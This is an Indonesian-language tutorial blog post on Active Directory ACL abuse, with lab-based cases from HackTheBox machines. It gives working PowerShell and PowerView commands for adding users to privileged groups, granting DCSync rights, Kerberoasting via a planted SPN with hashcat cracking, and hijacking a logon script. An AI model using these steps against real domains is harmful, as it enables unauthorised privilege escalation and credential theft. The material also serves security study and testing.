Post

[ACL] GenericAll, GenericWrite and Dacl Abuse

Berikut adalah penjelasan-penjelasan dari setiap hak akses yang akan kita bahas:

GenericAll

GenericAll memberikan kita kemampuan penuh terhadap suatu object.

GenericWrite

GenericWrite memberikan kita kemampuan untuk me-write semua non-protected attribute pada object, termasuk “members” untuk grup dan “serviceprincipalnames” untuk user.

Dengan demikian, jika kita memiliki hak akses GenericWrite terhadap object user, kita dapat melakukan Kerberoasting.

WriteDacl

WriteDacl memungkinkan kita memberikan hak istimewa apa pun terhadap object target.

WriteDacl terhadap object grup memungkinkan kita menambah keanggotaan grup tersebut.

Sementara WriteDacl terhadap object domain memungkinkan kita memberikan hak istimewa DcSync.


Tujuan

  • Privilege escalation atau
  • lateral movement

Prasyarat

  • User dengan hak akses GenericAll terhadap object lain
  • User dengan hak akses GenericWrite terhadap object lain
  • User dengan hak akses WriteDacl terhadap object lain

Tools

  • Powershell / CMD
  • PowerView

Tahapan eksploitasi

Contoh Kasus 1: GenericAll to Group and WriteDacl to Domain Abuse

Step 1: Cek Hak Akses Dengan BloodHound

Pada kasus kali ini svc-alfresco merupakan bagian dari grup Account Operators yang memiliki hak akses GenericAll terhadap grup Exchange Windows Permissions.

Hak akses GenericAll ini memungkinkan kita untuk mendapatkan kontrol penuh untuk memodifikasi keanggotaan grup.

Selanjutnya terdapat grup Exchange Windows Permissions yang memiliki hak akses WriteDacl terhadap domain object (htb.local). Hak akses ini dapat disalah gunakan oleh penyerang untuk memberikan hak istimewa DcSync.

bloodhound writedacl

Step 2: Menambahkan Member pada Grup Exchange Windows Permissions

Untuk mendapatkan hak akses WriteDacl terhadap domain htb.local, kita perlu menambahkan user terlebih dahulu terhadap grup Exchange Windows Permission.

Untuk melakukan ini kita akan memanfaatkan hak akses GenericAll pada grup Exchange Windows Permission.

1
PS> net group "Exchange Windows Permissions" nairpaa /add

tambah anggota grup

Step 3: Menambahkan Hak Akses DcSync

Setelah memasukan user kita ke dalam grup Exchange Windows Permission, kita dapat memberikan hak akses DCSync kepada user yang ditentukan.

1
2
3
4
5
PS> $SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
PS> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\nairpaa', $SecPassword)

PS> . .\PowerView.ps1
PS> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PS> Rights DCSync -PrincipalIdentity nairpaa

Informasi tentang DCSync Attack telah dijelaskan di sini.

dcsync attack

Contoh Kasus 2: GenericWrite to Group Abuse

Step 1: Cek Hak Akses Dengan BloodHound

Pada kasus ini user Claire memiliki hak akses GenericWrite terhadap grup Backup_Admins yang memungkinkan ia dapat memodifikasi keanggotaan grup tersebut.

bloodhound genericwrite to group

Step 2: Modifikasi Nilai Object

Selanjutnya, kami membuat user Claire menjadi anggota dari grup Backup_Admins.

1
PS> net group backup_admins claire /add

tambah anggota grup

Contoh Kasus 3: GenericWrite to User Abuse

Step 1: Cek Hak Akses Dengan BloodHound

Pada kasus kali ini user Smith memiliki hak akses GenericWrite terhadap user Maria.

Karena kali ini object-nya adalah user, user Smith dapat mengubah nilai atribut serviceprincipalnames dari user Maria.

bloodhound genericwrite to user

Step 2: Kerberoast

1
2
3
# 1. tambahkan object ke suatu SPN
# - contoh SPN yang digunakan: MSSQLSvc/object.local:1433
PS> setspn -a <service class>/<host>:<port> <domain>\<user_target>
1
2
3
4
5
6
7
# 2. cek SPN yang telah ditambahkan
PS> . .\PowerView.ps1
PS> Get-DomainUser <user_target> | Select serviceprincipalname

serviceprincipalname
--------------------
MSSQLSvc/object.local:1433
1
2
3
4
5
6
7
# 3. ambil ticket
# - jika tidak butuh kredensial
PS> Get-DomainSPNTicket -SPN "<service class>/<host>:<port>"
# - jika butuh kredensial
PS> $SecPassword = ConvertTo-SecureString '<pwnd_password>' -AsPlainText -Force
PS> $Cred = New-Object System.Management.Automation.PSCredential('<domain>\<pwnd_user>', $SecPassword)
PS> Get-DomainSPNTicket -SPN "<service class>/<host>:<port>"
1
2
# 4. crack de hash
➜ hashcat -m 13100 pass.hash /usr/share/wordlists/rockyou.txt 

kerberoast

Untuk melakukan Kerberoast, kita harus men-set SPN dengan format yang valid.

Step 3: (Alternatif) Logon Script

HackTricks memberikan saran bahwa kita dapat memanfaatkan GenericWrite pada object user untuk memperbaharui logon scripts.

Script ini akan berjalan ketika user target login kembali.

1
2
3
PS> . .\PowerView.ps1
PS> echo "ping 10.10.14.20" > C:\test\ping.ps1
PS> Set-DomainObject -Identity maria -SET @{scriptpath="C:\test\ping.ps1"}

login script

Contoh Kasus 4: GenericAll to Domain Admins Abuse

Pada kasus seperti ini kita dapat mengubah password dari user Domain Admins. Contoh untuk melakukan eksploitasi ini telah di jelaskan di sini.

Mitigasi

Perhatikan kembali pemberian hak akses GenericAll, GenericWrite dan WriteDacl.


Referensi

  • https://zflemingg1.gitbook.io/undergrad-tutorials/active-directory-acl-abuse/genericwrite-exploit
  • https://0xdf.gitlab.io/2020/03/21/htb-forest.html#privesc-to-administrator
  • https://0xdf.gitlab.io/2022/02/28/htb-object.html#logon-script
  • https://github.com/morph3/writeups/tree/main/htb-unictf-quals-2021/fullpwn/object#kerberoasting
  • https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse#genericwrite-on-user
This post is licensed under CC BY 4.0 by the author.